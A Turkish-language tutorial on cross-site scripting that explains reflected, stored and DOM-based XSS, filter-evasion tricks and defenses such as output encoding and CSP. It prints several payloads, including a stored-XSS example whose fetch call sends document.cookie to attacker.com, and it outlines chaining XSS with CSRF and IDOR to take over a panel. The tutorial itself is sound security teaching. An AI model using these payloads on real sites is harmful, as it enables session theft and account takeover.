Saldırganlar, bu güvenlik açığını kullanarak aşağıdaki gibi ciddi tehditler oluşturabilirler:
- Kullanıcı oturumlarını ele geçirmek: Saldırgan, kullanıcının oturum çerezlerini çalarak, onların hesaplarına giriş yapabilir.
- Kimlik avı saldırıları düzenlemek: Kullanıcılara sahte giriş formları göstererek, şifrelerini ele geçirebilir.
- Kötü amaçlı kod çalıştırmak: Kullanıcıların tarayıcılarında keylogger veya başka zararlı komut dosyalarını çalıştırabilir.
- Sosyal mühendislik saldırılarını desteklemek: Kullanıcılara sahte içerikler sunarak onları manipüle edebilir. XSS saldırıları günümüzde ciddi güvenlik sorunlarına yol açmıştır. XSS zâfiyeti 3 katagoriye ayrılır.
Reflected XSS
Reflected XSS, genellikle zararlı bir link aracılığıyla kullanıcılara gönderilir. kullanıcı linke tıkladığında zararlı kod çalışır. Örnek vermek gerekirse bir name alanında kullanıcıdan gelen input doğrudan geri döndürülüyorsa, zararlı bir input doğrudan sayfada çalıştırılabilir
Reflected XSS vakalarının %90'ı GET ile oluyor.
Reflected XSS via GET Request
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<h1>Arama Sonuçları</h1>
<p>Sorgunuz: <script>alert('XSS')</script></p>
<!-- Kullanıcı girdisi filtrelenmeden echo edilmiş -->
</body>
</html>Genellikle saldırgan kullanıcıya bir link atar ve o linke basmaya ikna eder. Sonrasında script çalışır ve önemli bilgiler saldırganın eline geçer.
Stored XSS
Bu saldırı türünde kötü amaçlı JavaScript kodu sunucuda kalıcı olarak depolanır ve daha sonra kullanıcının tarayıcısında çalıştırılır.
Stored XSS genellikle sunucuya veri gönderip kaydetmeyi gerektirdiği için POST request ile kullanılır.
Stored XSS via POST Request
POST /user/profile/update HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
{
"username": "NormalKullanici",
"bio": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>",
"avatar": "default.jpg"
}Cookie çalma örneği yukarıdaki gibidir. Saldırgan profil bilgilerine XSS payload'ını ekler. Sunucu bu veriyi normal bir veri sanarak kaydeder. Başka bir kullanıcı saldırganın profilini görüntülediğinde:
- Script çalışır.
- Kullanıcının bilgileri sunucuya gönderilir.
- Saldırgan çerezlerle kullanıcının hesabını ele geçerir.
DOM Based XSS
Diğer XSS'lerden farklı olarak sunucu tarafındaki işleme bağlı olmayan bir güvenlik açığı türüdür. Frontend kaynaklı olduğu için sunucu hiçbir şeyin farkında olmaz her şey tarayıcıda gerçekleşir. Daha da basit özetlemek gerekirse. XSS açığı sunucu da değil javascript dosyasındadır. Source ve Sink olarak 2 çeşite ayrılır. Verinin alındığı yer ve verinin yazıldığı yer.
DOM Based XSS genellikle GET Request'de olur. POST'da olmaz çünkü, POST'da HTML formu sunucuya gider.
DOM Based XSS via GET Request
<script>
// URL'den fragment (# kısmı) alınıyor
var token = location.hash.substring(1);
// Güvenli olmayan şekilde DOM'a yazılıyor
document.write("Token: " + token);
</script>Saldırı URL'si de aşağıdaki gibidir:
http://example.com/page.html#<script>alert('XSS')</script>XSS Nasıl bulunur ?
Classic Script Injection
En temel XSS scripti:
<script>alert('XSS')</script>Günümüzde tarayıcılar genellikle bu enjeksiyonu yakalar ve engeller. O yüzden devreye obfuscation yani "kamufulaj" girer.
Obfuscation
<ScrIPt>alert('XSS')</ScRiPt>veya
<scscriptript>alert('XSS')</scscriptipt>Böylelikle filtrelemeyi atlama şansımız olabilir. XSS kodu çalışabilir.
HTML Attribute XSS
<img src="x" onerror="alert('XSS')">Burada resim yüklüyo gibi davranıp, XSS kodunu enjekte edebiliriz. resim yüklenmez ve *onerror tetiklenir JS çalışır. Sık kullanılır
JavaScript Injection
Eğer kod buna benziyorsa:
document.getElementById("div").innerHTML = location.hash;Ve sen bu URL'yi açarsan:
site.com/#<img src=x onerror=alert(1)>Tam olarak DOM XSS olur çünkü innerHTML doğrudan çalışır.
Encoded payloads
Basitçe örneklemek gerekirse:
%3Cscript%3Ealert(1)%3C%2Fscript%3EBurada aslında <script>alert(1)</script> ama URL encoded halde. Tarayıcı bunu decode ederek çalıştırır.
Özetle
XSS ile aslında tokeni çekip CSRF O token ile işlem yapar IDOR ile başka kullanıcıya erişir bu şekilde tüm paneli ele geçirmek mümkündür.
Korunma
XSS'ten korunma yöntemleri
XSS saldırılarını önlemek için hem sunucu hem de istemci tarafında çeşitli güvenlik önlemleri alınmalıdır. İşte önemli önlemler:
- Girdi doğrulama: Beyaz liste yaklaşımı kullanın. (sadece izin verilen karakterler)
- Çıktı kodlama: "Girişe değil, çıkışa filtre uygula!" Kullanıcıdan alınan verileri ekrana yazdırırken özel karakterleri HTML entity'lere çevirin.
- Content Security Policy (CSP): CSP, tarayıcıya hangi kaynakların yüklenebileceğini belirten bir güvenlik politikasıdır. Self: Sadece kendi domaininden kaynak yükle unsafe-inline: Javascript/HTML'i engelle
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'- DOM Manipülasyonlarını güvenli yapın. Örnek: innerhtml yerine textContent kullanın
- API Güvenliği: JSON çıktılarında Content-Type: application/json kullanın.
Sonuç olarak. XSS saldırılarından korunmak için katmanlı bir güvenlik yaklaşımı benimsenmelidir.
Girdi doğrulama → Çıktı kodlama → CSP → Güvenli DOM işlemleri Framework güvenlik özellikleri + HTTP-only Cookie Düzenli penetrasyon testleri Bu önlemler, modern web uygulamalarında XSS riskini büyük ölçüde azaltacaktır.